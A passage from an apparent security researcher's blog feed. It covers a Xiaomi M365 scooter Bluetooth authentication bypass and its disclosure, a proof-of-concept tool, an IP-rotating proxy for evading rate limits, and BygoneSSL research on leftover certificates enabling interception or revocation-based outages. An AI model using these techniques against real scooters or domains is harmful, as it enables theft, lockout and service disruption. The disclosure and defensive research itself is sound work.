<p>Inspired by the original <a href="/projects/minimalin-reborn/">Pebble Minimalin watch face</a>, this Wear OS implementation includes configurable color themes, center complications for additional information display, and optimized rendering for various screen sizes and densities across different smartwatch models.</p>
]]></content:encoded></item><item><title>Xiaomi M365 Scooter Authentication Bypass</title><link>https://lanrat.com/posts/xiaomi-m365/</link><pubDate>Wed, 15 May 2019 02:43:37 +0000</pubDate><guid>https://lanrat.com/posts/xiaomi-m365/</guid><description>Security analysis of Xiaomi M365 electric scooter revealing authentication bypass vulnerabilities in the Bluetooth communication protocol.</description><content:encoded><![CDATA[<p>Sometime in the first half of 2018 there was an explosion of &ldquo;Dockless e-scooters&rdquo; <a href="https://techcrunch.com/story/the-electric-scooter-saga-in-san-francisco/">appearing all over the Bay Area</a>. These devices are electric scooters that anyone can rent for a one-way trip and find/leave them (at the time) anywhere you want. As one could guess this <a href="https://www.businessinsider.com/san-francisco-ban-shared-dockless-scooters-2018-5">led to lots of issues</a> but they where convenient and I wanted one of my own so I did a little research onto how to acquire one for private use.</p>
<figure>
    <img loading="lazy" src="images/m365.webp"
         alt="Xiaomi M365"/> <figcaption>
            <p>Xiaomi M365</p>
        </figcaption>
</figure>

<p>It turns out that two of the three big players at the time <a href="https://www.bird.co/">Bird</a> and <a href="https://www.spin.app/">Spin</a> both used off-the-shelf consumer electric scooters made by Xiaomi often sold as the <a href="https://www.mi.com/us/mi-electric-scooter/">M365</a>. While these scooters were sold by Xiaomi it appears that they were actually designed and built by <a href="https://www.segway.com/">Segway-Ninebot</a> which Xiaomi has purchased from them. Knowing this it was easy to find them for sale <a href="https://smile.amazon.com/Xiaomi-Electric-Long-range-Fold-n-Carry-Ultra-Lightweight/dp/B076KKX4BC?sa-no-redirect=1">online</a>.</p>
<p>We live in a world where there is &ldquo;an app for that&rdquo; for everything, and this scooter is <a href="https://play.google.com/store/apps/details?id=com.xiaomi.smarthome">no exception</a>. While the scooter can be used without an app, it will have limited functionality and you will not be able to change any of the settings or enable any of the &ldquo;security&rdquo; features or &ldquo;lock&rdquo; the scooter.</p>
<p>When &ldquo;locked&rdquo; the scooter will use the motor to add resistance to the front wheel to make using it difficult or impossible to turn and sound its alarm&rsquo;s beep. This won&rsquo;t stop all theft but it is a good deterrent. Additionally, you can set a numeric pass-code on the scooter that you will need to enter in the app for the scooter to turn on.</p>
<h2 id="the-app">The App</h2>
<p>The <a href="https://play.google.com/store/apps/details?id=com.xiaomi.smarthome">Xiaomi provided App</a> was an all-in-one solution for every IOT thing they offer. I guess if you are deep into the Xiaomi ecosystem this makes sense, but for the simple scooter control I wanted this was overkill. Additionally the permissions the app requested made the privacy enthusiast in my cry out in terror. It wants access to almost everything Android offers, which is way overkill for a scooter control application, and likely still overkill for every other IOT device they produce. Not to mention, what while Xiaomi does make some nice things, they are based out of China which is where they produce their hardware and software which may be cause for concern.</p>
<p>I thought that if I could reverse-engineer the scooter portion of the Xiaomi App and put it into my own app it would solve these problems. Unfortunately the Xiaomi App was heavily obfuscated and the scooter code was a very small portion of the larger app which was all jumbled together. While I&rsquo;m sure it would have been possible to do this, I set out to find an easier solution.</p>
<p>Before Xiaomi bought the scooter designs from Ninebot they <a href="https://play.google.com/store/apps/details?id=cn.ninebot.ninebot">had their own app</a> to control their scooters. This is a much smaller app that was mostly just the code for the scooters. Unfortunately, Since Xiaomi took over the M365 NineBot has updated their app to no longer work with the Xiaomi scooters. (WHY???) Alas, version 4.3.0 and below still work with the Xiaomi M365 and can be <a href="https://apkpure.com/segway-ninebot/cn.ninebot.ninebot/download/4300-APK?from=versions%2Fversion">found online</a> and side-loaded manually.</p>
<p>However, while Ninebot&rsquo;s app required many less permissions than Xiaomi&rsquo;s app, it still required more permissions than I was comfortable with. So I continued my journey to reverse-engineer the simpler NineBot app to implement my own solution.</p>
<h2 id="reverse-engineering">Reverse Engineering</h2>
<h3 id="pre-existing-work">Pre-existing work</h3>
<p>Luckily for me there was already a <a href="https://electro.club/forum/razborka_proshivki_elektrosamokata_Xiaomi_M365">community</a>  <a href="https://electrotransport.ru/ussr/index.php?topic=51146.msg1199818#msg1199818">built</a>  <a href="https://wiki.osremix.com/fr/bricolage/vehicules/trottinettes/xiaomi_mijia_m365">around</a>  <a href="https://forum.electricunicycle.org/topic/2686-unraveling-ninebot-one-e-ble-protocol-success/">modding</a> the M365 scooters who had already started reverse-engineering some of the functionality. Most of the prior word was focused around modding the firmware of the M365 itself to change built-in functionality like the removing the speed governor and increasing the rate of acceleration. If you are interested in that, you can generate custom firmware images <a href="https://m365.botox.bz">at M365 Botox</a> and an app to flash them <a href="https://play.google.com/store/apps/details?id=com.esdowngrade">on Google Play</a>.</p>
<p>If you did try to create a custom firmware image for the scooter and flash it, you will notice that the firmware flasher application send the firmware over Bluetooth Low-Energy (BLE). And it can replace the firmware on a device that is &ldquo;locked&rdquo;&hellip; Oh oh!</p>
<h3 id="bluetooth-low-energy">Bluetooth Low Energy</h3>
<p>The BLE packet format has already been well-documented in the prior work and <a href="https://github.com/salvamr">salvamr</a> created the wonderful <a href="https://github.com/salvamr/m365-ble-msg-builder">m365-ble-msg-builder</a> Java API that simplifies the work required to send/receive BLE packets in a format that the Scooter wants. Additionally <a href="https://github.com/maisi">maisi&rsquo;s</a>  <a href="https://github.com/maisi/M365-Power">M365-Power</a> App to display log data from the Scooter made a good place to start.</p>
<p>All I needed was to find the BLE packets for the commands I want to implement from the NineBot application and make my own app to send them and parse any responses.</p>
<p>It should also be noted that the normal Bluetooth pairing process does involve a sort of mutual <a href="https://duo.com/decipher/understanding-bluetooth-security">authentication between devices</a> that helps add a layer of security on top of the Bluetooth channel making it harder for any Bluetooth device start talking to any other device. However, Bluetooth Low Energy <a href="https://www.digikey.com/eewiki/display/Wireless/A+Basic+Introduction+to+BLE+Security#ABasicIntroductiontoBLESecurity-SecurityIssuesFacingBLE:">lacks built-in authentication</a>, relaying on the application layer to handle the authentication (if any).</p>
<h3 id="ninebot-app">NineBot App</h3>
<p>After spending some time digging through the decompiled output of the NineBot app I obtained a fairly good understanding of how the auth works, to summarize, it goes something like this:</p>
<ul>
<li>App pairs with Scooter using <a href="https://learn.adafruit.com/introducing-adafruit-ble-bluetooth-low-energy-friend/uart-service">BLE UART</a></li>
<li>App asks Scooter for saved passcode</li>
<li>Scooter provides App the saved passcode</li>
<li>App asks user for passcode</li>
<li>App compares the two passcodes</li>
<li>If passcode match, App send &ldquo;unlock&rdquo; packet to scooter</li>
<li>If passcode do not, app shows error to user.</li>
</ul>
<p>It does not take a security mastermind to figure out the obvious problem here. The authentication is performed &ldquo;<a href="https://cwe.mitre.org/data/definitions/603.html">client-side</a>&rdquo;. Which means that the device a user controls (their phone running the app) is in charge of deciding for itself if it should be allowed in.</p>
<figure>
    <img loading="lazy" src="images/sidewalk_closed.webp"
         alt="An example of client side auth in the real world"/> <figcaption>
            <p>An example of client side auth in the real world</p>
        </figcaption>
</figure>

<h2 id="m365-goals">M365 Goals</h2>
<p>At this point I&rsquo;ve become interested in the BLE packets for the following sensitive actions:</p>
<ul>
<li>Unlock the scooter</li>
<li>Lock the scooter</li>
<li>Read the saved password from the Scooter</li>
<li>Save a new password to the Scooter</li>
</ul>
<p>I was able to find the packets for retrieving and setting the passcode fairly easily, and with some help from my friend <a href="https://github.com/brandonweeks">Brandon Weeks</a> I found the lock and unlock passcode as well and implemented them into a simple test application.</p>
<h3 id="m365-toolbox">M365-Toolbox</h3>
<p>Using the <a href="https://github.com/maisi/M365-Power">M365-Power</a> app as a base, I created <a href="https://github.com/lanrat/m365-toolbox">M365-ToolBox</a> to test sending the interesting packets. Surprisingly everything just worked. When sending any of the packets, such as unlock, the scooter would happy respond with a &ldquo;chirp&rdquo; and unlock itself without any fuss. Every command I tested worked pre-authentication. So, not only was the authentication handled client-side. The scooter didn&rsquo;t even care if you skipped the authentication step and just told it what you wanted it to do. I tested on a few other scooters and they all worked the same. I could remotely unlock/lock any scooter without knowing its password, additionally, I could read the passwords other users have set and even change them resulting in a <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack">Denial of Service</a>.</p>
<figure>
    <img loading="lazy" src="images/m365-toolbox--1-.webp"
         alt="M365 Toolbox Screenshot"/> <figcaption>
            <p>M365 Toolbox Screenshot</p>
        </figcaption>
</figure>

<p>If I wanted to use any of the more advanced features I could use the NineBot or Xiaomi apps with the scooter and provide them the password that my app could read from the scooter to perform any of the more advanced functions.</p>
<h2 id="disclosure">Disclosure</h2>
<p>After finding these issues I disclosed them to all the affected parties I could before making this post and waiting to give them plenty of time to fix the issues.</p>
<h3 id="xiaomi">Xiaomi</h3>
<p>Luckily Xiaomi runs a <a href="https://hackerone.com/xiaomi">bug bounty</a> and the scooter was in scope! I submitted my findings and a copy of my M365-Toolbox app and was eventually rewarded $500 for my finding.</p>
<h4 id="timeline">Timeline</h4>
<ul>
<li>December 23rd 2018: Initial disclosure to <code>security@xiaomi.com</code></li>
<li>December 24th 2018: Xiaomi acknowledges and requests POC</li>
<li>December 25th 2018: I share POC code and detailed explanation</li>
<li>December 29th 2018: Xiaomi confirms they are able to reproduce the vulnerability</li>
<li>January 1st 2019: Xiaomi rewards me  4000 RMB (~$500) from their Bug Bounty</li>
</ul>
<h3 id="spin">Spin</h3>
<p><a href="https://www.spin.app/">Spin</a> which used the same hardware was also vulnerable to the same packets to take over their scooters. I had great difficulty finding contact information for anyone to disclose this to. I eventually found the emails for their support and a few of their engineers., and decided to email them all and hope for the best. Unfortunately they where not very responsive and ultimately I was never able to disclose to them. As far as I know they are still vulnerable.</p>
<h4 id="timeline-1">Timeline</h4>
<ul>
<li>January 11th 2019: Initially reached out to Spin to disclose vulnerability</li>
<li>January 21st 2019: After no contact, I follow up with some more details and increasing the sense of urgency</li>
<li>January 21st 2019: I&rsquo;m told the policy team will each out to me after reviewing my &ldquo;case&rdquo;</li>
<li>Radio silence</li>
</ul>
<h3 id="bird">Bird</h3>
<p><a href="https://www.bird.co/">Bird</a> also uses the Xiaomi M365 hardware, but they replace the BLE controller board with what people are calling a <a href="https://hackaday.com/2019/02/12/security-engineering-inside-the-scooter-startups/">Bird Brain</a>.  The Bird Brain has a cellular modem and relays all commands through Bird&rsquo;s servers to the user&rsquo;s phone. As a result of this, they are not vulnerable to the attack I describe here, so I did not find it necessary to disclose to them. However a quick glance at their app&rsquo;s decompiled code shows some Bluetooth functionality, so this might be a good area to explorer further.</p>
<h2 id="other-related-security-findings">Other Related Security Findings</h2>
<p>In the process of performing my background research on this I ran across <a href="https://ioactive.com/wp-content/uploads/2018/05/IOActive-Security-Advisory-Ninebot-Segway-miniPRO_Final.pdf">this report</a> from IOActive finding a very similar vulnerability in NineBot&rsquo;s Segway product about a year earlier. Since IOActive found and disclosed this NineBot has patched it, which is great! However it is saddening to see that after the disclosure NineBot failed to learn from their mistake and included a very similar vulnerability in other products.</p>
<p>After I reported my findings to Xiaomi <a href="https://blog.zimperium.com/dont-give-me-a-brake-xiaomi-scooter-hack-enables-dangerous-accelerations-and-stops-for-unsuspecting-riders/">Rani Idan found the same vulnerabilities</a> that I did and also reported it to Xiaomi. Xiaomi told them that they already knew of the issue (likely in part due to my report) so Rani decided to release their <a href="https://github.com/rani-i/Mi365Locker">POC</a>. Even after they released their POC I still felt it was right to wait at least 90 days from my disclosure before releasing mine.</p>
]]></content:encoded></item><item><title>M365 Toolbox</title><link>https://lanrat.com/projects/m365-toolbox/</link><pubDate>Tue, 14 May 2019 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/m365-toolbox/</guid><description>&lt;p&gt;M365 Toolbox demonstrates a security vulnerability in the Xiaomi M365 electric scooter&amp;rsquo;s communication protocol. The Java application exploits weaknesses in the scooter&amp;rsquo;s Bluetooth Low Energy (BLE) authentication mechanism to bypass security controls and execute unauthorized commands.&lt;/p&gt;
&lt;p&gt;The proof-of-concept tool reveals how the scooter&amp;rsquo;s authentication can be circumvented through protocol manipulation, allowing remote control access without proper authorization. This research highlighted critical security flaws in IoT device communication protocols commonly found in consumer transportation devices.&lt;/p&gt;</description><content:encoded><![CDATA[<p>M365 Toolbox demonstrates a security vulnerability in the Xiaomi M365 electric scooter&rsquo;s communication protocol. The Java application exploits weaknesses in the scooter&rsquo;s Bluetooth Low Energy (BLE) authentication mechanism to bypass security controls and execute unauthorized commands.</p>
<p>The proof-of-concept tool reveals how the scooter&rsquo;s authentication can be circumvented through protocol manipulation, allowing remote control access without proper authorization. This research highlighted critical security flaws in IoT device communication protocols commonly found in consumer transportation devices.</p>
]]></content:encoded></item><item><title>Stargate</title><link>https://lanrat.com/projects/stargate/</link><pubDate>Wed, 20 Mar 2019 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/stargate/</guid><description>&lt;p&gt;A Go library and SOCKS5 proxy server that enables egress traffic from multiple IP addresses within a subnet. Stargate randomly distributes network connections across different IP addresses to avoid rate-limiting and provide load balancing across available IP ranges.&lt;/p&gt;
&lt;p&gt;The tool works best with subnets directly routed to the host and is particularly powerful for IPv6 subnet utilization. It supports both TCP CONNECT and UDP ASSOCIATE protocols and provides both a standalone proxy tool and a Go library for programmatic random IP networking. Requires specific network routing configuration and primarily supports Linux and FreeBSD platforms due to freebind networking capabilities.&lt;/p&gt;</description><content:encoded>&lt;p>A Go library and SOCKS5 proxy server that enables egress traffic from multiple IP addresses within a subnet. Stargate randomly distributes network connections across different IP addresses to avoid rate-limiting and provide load balancing across available IP ranges.&lt;/p>
&lt;p>The tool works best with subnets directly routed to the host and is particularly powerful for IPv6 subnet utilization. It supports both TCP CONNECT and UDP ASSOCIATE protocols and provides both a standalone proxy tool and a Go library for programmatic random IP networking. Requires specific network routing configuration and primarily supports Linux and FreeBSD platforms due to freebind networking capabilities.&lt;/p>
</content:encoded></item><item><title>Binary Analog Watch Face</title><link>https://lanrat.com/projects/binary-analog-watch-face/</link><pubDate>Sun, 13 Jan 2019 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/binary-analog-watch-face/</guid><description>&lt;p&gt;Binary Analog Watch Face is an Android Wear watch face that combines analog time display with binary representation. The watch face uses binary digits to form the hour and minute hands, creating a unique visualization where time is displayed both analogically and in binary format.&lt;/p&gt;
&lt;p&gt;The watch face features Material Design aesthetics with customizable color themes and optional center complications. The implementation renders traditional analog clock hands using sequences of binary digits, inspired by Anthony Liekens&amp;rsquo;s Analog Binary Wall Clock concept.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Binary Analog Watch Face is an Android Wear watch face that combines analog time display with binary representation. The watch face uses binary digits to form the hour and minute hands, creating a unique visualization where time is displayed both analogically and in binary format.</p>
<p>The watch face features Material Design aesthetics with customizable color themes and optional center complications. The implementation renders traditional analog clock hands using sequences of binary digits, inspired by Anthony Liekens&rsquo;s Analog Binary Wall Clock concept.</p>
]]></content:encoded></item><item><title>BygoneSSL - dealing with residual certificates for pre-owned domains</title><link>https://lanrat.com/posts/bygonessl/</link><pubDate>Mon, 13 Aug 2018 03:26:00 +0000</pubDate><guid>https://lanrat.com/posts/bygonessl/</guid><description>Security research on SSL certificate vulnerabilities where valid certificates outlive domain ownership, creating potential attack vectors for domain re-registration.</description><content:encoded><![CDATA[<p>This is the blog version of my DEFCON 26 talk <a href="https://www.defcon.org/html/defcon-26/dc-26-speakers.html#Foster">Lost and Found Certificates: dealing with residual certificates for pre-owned domains</a>, which I co-presented with <a href="https://security.love">Dylan Ayrey</a>.</p>
<p>You can learn more about BygoneSSL and see a demo at <a href="https://insecure.design">insecure.design</a>.</p>
<h2 id="the-problem">The Problem</h2>
<p>A Certificate can outlive the ownership of a domain.</p>
<p>If the domain is then re-registered by someone else, this leaves with the first owner with a valid SSL certificate for the domain now owned by someone else.</p>
<p><img alt="bygonessl" loading="lazy" src="/posts/bygonessl/images/bygonessl.webp"></p>
<p>The above diagram illustrates an example where Alice registers <code>foo.com</code> for 1 year, and gets a 3 year SSL certificate from a trusted Certificate Authority. Alice then decides not to renew the domain (or possibly forgets) and after one year the domain expires. Some time later Bob registers <code>foo.com</code> and because Bob is on top of all the latest security trends, he also gets a SSL certificate to protect the traffic to his new domain. Little does he know, that Alice, malicious or not, still has a valid SSL certificate for what is now Bob&rsquo;s domain. This is a problem we are calling BygoneSSL.</p>
<p>What can Bob do?</p>
<p>Until recently it was not even possible for Bob to determine if there exists prior certificates for his domain. However, now we have <a href="https://www.certificate-transparency.org/what-is-ct">Certificate Transparency</a>.</p>
<h3 id="certificate-transparency">Certificate Transparency</h3>
<p>Certificate Transparency (CT) was designed to catch bad or misbehaving Certificate Authorities (CAs). Anyone can run a CT Log server, which is a publicly auditable log of certificates that anyone can submit to. At the time of writing there are about 1/2 billion certificates in public CT logs and growing.</p>
<p>CT is <a href="https://www.thesslstore.com/blog/certificate-transparency-april-30-2018/">required</a> for all certificates issued after April 2018 to be trusted. Many certificates issued before April are also in the logs, but is is not requires.</p>
<p>For more information on Certificate Transparency, see my <a href="/posts/certgraph">CertGraph post</a> or the <a href="https://www.certificate-transparency.org/what-is-ct">Certificate Transparency site</a>.</p>
<h3 id="finding-pre-existing-certificates">Finding Pre-existing Certificates</h3>
<p>Knowing the registration date of a domain, you can search CT logs for certificates issued before the registration date, and valid after. However there is no guarantee that all Certificates issued before April 2018 will be found. So you may not have a complete picture, but it is as close as we can get.</p>
<h3 id="an-example-stripecom">An Example: stripe.com</h3>
<p><code>stripe.com</code> is an excellent example of this. <a href="https://stripe.com">Stripe</a> is a major online payment processor. They acquired their domain name in <a href="https://web.archive.org/web/20111227213439/http://www.sedoparking.com/stripe.com">2010 from a domain parking service</a>. However there <a href="https://crt.sh/?q=E3DF3CEB9CD87AB70DFD68EEBFBE904179F3A6454070F4152B396539B43A6FAB">exists a certificate</a> issued in 2009 that is valid until 2011, over a year into Stripe&rsquo;s ownership of <code>stripe.com</code>.</p>
<h2 id="why-is-this-a-problem">Why is this a problem?</h2>
<p>Well, aside from the fact that the previous domain owner could <a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle</a> the new domain owner&rsquo;s SSL traffic for that domain, if there are any domains that share alt-names with the domain, they can be revoked, potentially causing a <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack">Denial-of-Service</a> if they are still in use. More on this below.</p>
<h2 id="bygonessl-definition">BygoneSSL Definition</h2>
<p><em>noun</em>
A SSL certificate created <em>before</em> and <em>supersedes</em> its domains&rsquo; current registration date.</p>
<h2 id="bygonessl-man-in-the-middle">BygoneSSL Man in the Middle</h2>
<p>If a company acquires a previously owned domain, the previous owner could still have a valid certificates, which could allow them to MitM the SSL connection with their prior certificate.</p>
<p>The above <code>stripe.com</code> is an example of a potential BygoneSSL Man in the Middle.</p>
<h2 id="bygonessl-denial-of-service">BygoneSSL Denial of Service</h2>
<p>If a certificate has a subject alt-name for a domain no longer owned by the certificate user. It is possible to revoke the certificate that has both the vulnerable alt-name and other domains. You can DoS the service if the shared certificate is still in use!</p>
<h3 id="revoking">Revoking</h3>
<p>The <a href="https://cabforum.org/">CA/Browser Forum</a>, which sets the rules by which Certificate Authorities and Browsers should operate, states that <a href="https://github.com/cabforum/documents/blob/master/docs/BR.md#963-subscriber-representations-and-warranties">if any information in a certificate becomes incorrect or inaccurate</a>, it should be revoked. Additionally <a href="https://github.com/cabforum/documents/blob/master/docs/BR.md#4911-reasons-for-revoking-a-subscriber-certificate">if the domain registrant has failed to renew their domain, the CA should revoke the certificate within 24 hours</a>.</p>
<h3 id="dos-example-docom">DoS example: do.com</h3>
<p><code>do.com</code> has had <a href="https://dns.coffee/domains/DO.COM">many owners</a> in the past few years, some of which added the domain to their <a href="https://crt.sh/?q=9AF71F6AED8E9BEA7D96B88A0051975FED53ED6FDEFC76406AA73C98EC2CD57F">SSL certificates</a>. However in this particular case, the certificate hosting <code>salesforce.com</code> listed <code>do.com</code> as an alt-name. Even after <code>do.com</code> was transferred to another owner.</p>
<p>Due to the regulations set by the CA/B forum, this certificate could be revoked, causing downtime for the users of <code>salesforce.com</code>.</p>
<p><img alt="certgraph-do.com" loading="lazy" src="/posts/bygonessl/images/certgraph-do.com-1.webp"></p>
<p>The above screenshot is of <a href="/posts/certgraph">CertGraph</a>, a tool I wrote to identify related domains through linked certificate alt-names; showing how <code>salesforce.com</code> is linked to <code>squarespace.com</code> through the <code>do.com</code> alt-name in the certificate past Salesforce&rsquo;s ownership of the domain.</p>
<h2 id="how-big-is-this-issue">How big is this issue?</h2>
<p>In order to get an idea of how many BygoneSSL certificates might still be out there We performed an analysis on over 3 million random domains and their 7.7 million SSL certificates. This sample makes up about 1% of the Internet&rsquo;s domains.</p>
<p>To determine if a domain has been transferred, We searched historical WHOIS, <a href="https://dns.coffee">Name Servers</a>, and the <a href="https://archive.org">WayBack Machine</a>. Since there are many reasons a domain&rsquo;s WHOIS, Name Servers, or site may change, We intentionally weighted the algorithm to favor false negatives over false positives. It is not perfect, there are MANY false negatives and quite a few false positives, but it does give a glimpse into the scale of the problem.</p>
<h3 id="domains-directly-affected-mitm">Domains Directly Affected (MitM)</h3>
<p>A domain is directly affected if there exists a certificate that was created before its registration date, and valid after. In the random sampling of domains studied, We found that <strong>0.45%</strong> meet this criteria. This might seem like a small number, but the Internet is huge which puts this at around <strong>1.5 Million domains</strong>. Of the certificates sampled that are affected, <strong>25% are still valid</strong> and can be used today by the prior domain owner.</p>
<h3 id="domains-affected-by-alt-names-dos">Domains Affected by Alt-Names (Dos)</h3>
<p>A domain is affected by an alt-name if it shared a certificate with a domain that is directly affected. These domains can be Denial of Serviced like the above <code>do.com</code> example. Of the domains studied, <strong>2.05%</strong> are affected by sharing a certificate with an alt-name. This is represents <strong>7 Million</strong> domains on the entire Internet, a 4x increase over the previous MitM finding. Of the certificates affected, <strong>41%</strong> are still valid. Meaning they can be revoked and if still in use will cause breakage!</p>
<h2 id="what-should-be-done-about-this">What should be done about this?</h2>
<p>If you find a certificate that is still in use that has an alt-name that is no longer under control of the certificate owner you should notify them. <em>Bonus points if they have a bug bounty and you mention BygoneSSL.</em> If not, how much notice should you give? The CAs should revoke in under 24 hours of being notified; however many of them take up to weeks, so it is best to give as much notice as possible to prevent being disruptive.</p>
<h3 id="protecting-your-own-domains">Protecting your own Domains</h3>
<p>First search CT for BygoneSSL certificates for your domains. If you find any, reach out to the issuing CA&rsquo;s and request that they be revoked. If the certificates have alt-names that are still in use, you should give the other domain owners a heads up as well in case they are still using the certificates.</p>
<p>Next you should setup your servers to use the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Expect-CT"><code>Expect-CT</code></a> header in <code>enforce</code> mode to prevent any SSL certificates that are not in CT from being valid for your domains. Unfortunately this will only work for visitors whose first connection to your site is not MitM. Next you need to continue monitoring CT logs in case an older cert gets added later. Certificates can be added to CT logs at any time, not just when they are issued. Be sure to check for alt-names as well. You don&rsquo;t want someone sitting on a certificate to start using it once they submit it years later. We&rsquo;ve written a few tools to help you do this mentioned in the next section.</p>
<h2 id="fixing-the-problem-for-the-internet">Fixing the problem for the Internet</h2>
<p>It would be great if domain registrars did not issue certificates valid for longer than the current domain&rsquo;s registration. If you could not get a SSL certificate for longer than your domain registration this problem is drastically reduced, excluding transfers, which the new domain owner should expect that the prior owner may have a pre-existing certificate.</p>
<p>CA&rsquo;s should only issue short-lived certificates. We are making progress on this. New 10 and 5 year certificates are no longer valid. The current maximum life for a certificate is 825 days, which is just over 2 years. There is ongoing work to reduce this even further, with <a href="https://letsencrypt.org/">Let&rsquo;s Encrypt</a> leading the way with 90 day certificates!</p>
<p>Domain registrars could show you pre-existing valid certificates logged in CT when registering or transferring a domain. This gives the domain owner visibility into the potential BygoneSSL certificates that may exist before they could do any damage.</p>
<h2 id="tools">Tools</h2>
<h3 id="certgraph">CertGraph</h3>
<p>CertGraph can also be used to detect BygoneSSL MitM and Dos. For MitM use certgraph normally and look for cases where your graph of domains reached domains or certificates that you do not control.</p>
<p>For DoS, use certgraph with the following options:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>certgraph -depth <span style="color:#ae81ff">1</span> -driver google -ct-subdomains -cdn <span style="color:#f92672">[</span>DOMAIN<span style="color:#f92672">]</span>...
</span></span></code></pre></div><p>A future version of CertGraph will include a <code>-bygonessl</code> flag to automate this and add more features, such as domain availability checks.</p>
<h3 id="certspotter">CertSpotter</h3>
<p><a href="https://github.com/SSLMate/certspotter">CertSpotter</a> is a free and open source Certificate Transparency Log Monitor by <a href="https://sslmate.com/certspotter">SSLMate</a>. I&rsquo;ve added support for detecting BygoneSSL certificates and got it merged upstream. It works the same, but you can add a <code>valid_at</code> date to the watch-list.</p>
<p>For example, the following watch-list would find the BygoneSSL certificate for <code>insecure.design</code> registered on April 18th 2018.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>insecure.design valid_at:2018-04-18
</span></span><span style="display:flex;"><span>defcon.org valid_at:1993-06-21
</span></span><span style="display:flex;"><span>wikipedia.org valid_at:2001-01-13
</span></span><span style="display:flex;"><span>toorcon.net valid_at:2012-03-13
</span></span></code></pre></div><p><img alt="certspotter bygonessl" loading="lazy" src="/posts/bygonessl/images/certspotter.webp"></p>
<p>Since this is a full Certificate Transparency <a href="https://www.certificate-transparency.org/how-ct-works">Log Monitor</a>. It will take some time to go through the backlog of certificates on the remote logs on its first run.</p>
<h3 id="bygonessl-facebook-search-tool">BygoneSSL Facebook Search Tool</h3>
<p>Dylan also wrote a similar tool to search <a href="https://developers.facebook.com/tools/ct/">Facebook&rsquo;s Certificate Transparency Monitor</a>. It requires Facebook OAuth, but is much faster because it does not need to inspect an entire log. You can find it here: <a href="https://github.com/dxa4481/bygonessl">https://github.com/dxa4481/bygonessl</a>.</p>
<p><img alt="facebook-bygonessl-tool" loading="lazy" src="/posts/bygonessl/images/facebook.webp"></p>
<h2 id="defcon-recording">Defcon Recording</h2>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/-tZDkq7SxeI?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<h3 id="ca--browser-forum-presentation"><a href="https://cabforum.org/2019/05/03/minutes-for-ca-browser-forum-f2f-meeting-46-cupertino-12-14-march-2019/#BygoneSSL-Guest-Speaker-Session">CA &amp; Browser Forum Presentation</a></h3>
]]></content:encoded></item><item><title>CZDS</title><link>https://lanrat.com/projects/czds/</link><pubDate>Sun, 29 Jul 2018 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/czds/</guid><description>&lt;p&gt;CZDS is a Go library and CLI tool for interacting with ICANN&amp;rsquo;s Centralized Zone Data Service API. It handles authentication, zone file downloads, request submissions, and status monitoring for accessing top-level domain zone data.&lt;/p&gt;
&lt;p&gt;The implementation supports parallel downloads, request management, and provides both library interfaces for Go applications and standalone command-line functionality. The tool automates the process of requesting and retrieving DNS zone files from ICANN&amp;rsquo;s centralized service.&lt;/p&gt;</description><content:encoded><![CDATA[<p>CZDS is a Go library and CLI tool for interacting with ICANN&rsquo;s Centralized Zone Data Service API. It handles authentication, zone file downloads, request submissions, and status monitoring for accessing top-level domain zone data.</p>
<p>The implementation supports parallel downloads, request management, and provides both library interfaces for Go applications and standalone command-line functionality. The tool automates the process of requesting and retrieving DNS zone files from ICANN&rsquo;s centralized service.</p>
]]></content:encoded></item><item><title>CertGraph</title><link>https://lanrat.com/posts/certgraph/</link><pubDate>Fri, 06 Apr 2018 07:48:52 +0000</pubDate><guid>https://lanrat.com/posts/certgraph/</guid><description>Network mapping tool for discovering SSL certificate relationships and alternative names to find hidden domains belonging to organizations.</description><content:encoded><![CDATA[<p><a href="https://github.com/lanrat/certgraph">Certgraph</a> is a tool I&rsquo;ve been developing to scan and graph the network of SSL certificate alternative names. It can be used to find other domains that belong to an organization that may be several orders removed and not always obvious.</p>
<h1 id="background">Background</h1>
<p>The idea for this project came about after examining the SSL certificate for <a href="https://xkcd.com">XKCD.com</a>. If you look closely at the screenshot below you will see that the SSL certificate used on XKCD.com is also valid for many of domains which have no relationship to XKCD or <a href="https://en.wikipedia.org/wiki/Randall_Munroe">Randall Munroe</a>.</p>
<p><img alt="XKCD SSL Certificates" loading="lazy" src="/posts/certgraph/images/certgraph-xkcd.webp"></p>
<p>This behavior is a side-effect of the CDN used by XKCD, in this case, Fastly. Fastly is putting many of their clients on the same certificate, likely in an effort to simplify their deployment. This works because SSL certificates can use the &ldquo;Certificate Subject Alternative Name&rdquo; extension to add a list of additional hosts that the certificate should be valid for in addition to the primary name specified in the certificate.</p>
<p><img alt="SSL Certificate Alternative Names" loading="lazy" src="/posts/certgraph/images/certgraph-altnames.webp"></p>
<p>There can also be <a href="https://crt.sh/?q=eff.org">many certificates</a> issued for a single domain. This creates a many-to-many relationship between certificates and domains; An ideal target to graph.</p>
<h1 id="certificate-transparency">Certificate Transparency</h1>
<p>Certificate Transparency logs provide an additional and excellent source of SSL certificates to query. Instead of connecting to each host to get its certificate, we can get them all from a single log or index.</p>
<h2 id="certificate-transparency-background">Certificate Transparency Background</h2>
<p>Flaws in the current system of digital certificate management were made evident by high-profile security and privacy breaches caused by fraudulent certificates being issued by &ldquo;trusted&rdquo; CAs.
